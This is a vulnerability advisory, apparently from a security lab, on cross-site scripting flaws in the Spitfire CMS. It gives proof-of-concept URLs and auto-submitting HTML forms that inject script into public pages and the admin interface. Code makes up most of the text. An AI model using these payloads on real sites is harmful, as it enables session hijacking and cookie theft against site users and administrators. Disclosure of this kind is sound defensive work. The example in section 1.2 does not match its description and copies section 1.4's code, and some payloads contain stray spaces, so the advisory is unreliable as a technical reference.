Multiple Cross-site Scripting (XSS) Vulnerabilities in Spitfire

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Spitfire which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Spitfire
1.1 The vulnerability exists due to input sanitation error in the "cms_id" and "search" parameters in site/cont_index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/site/cont_index.php?cms_id=PAGE_ID"><script>alert(document.cooki e)</script>
http://host/site/cont_index.php?cms_id=PAGE_ID&search=1"><scrip t>alert(document.cookie)</script>
1.2 The vulnerability exists due to input sanitation error in the "value[description]" parameter in cms/edit/tpl_element_settings_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.
Exploitation example:
<form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="save" />
<input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>
Second code:
<form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="value" />
<input type="hidden" name="tabid" value="headline" />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to input sanitation error in the "text" parameter in cms/edit/tpl_backup_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/cms/edit/tpl_backup_action.php" method="post" name="main" >
<input type="hidden" name="action" value="message" />
<input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' />
</form>
<script>
document.main.submit();
</script>
1.4 The vulnerability exists due to input sanitation error in the "value[headline]" parameter in cms/edit/tpl_edit_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.
Exploitation example:
First code:
<form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="save" />
<input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>
Second code:
<form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="value" />
<input type="hidden" name="tabid" value="headline" />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>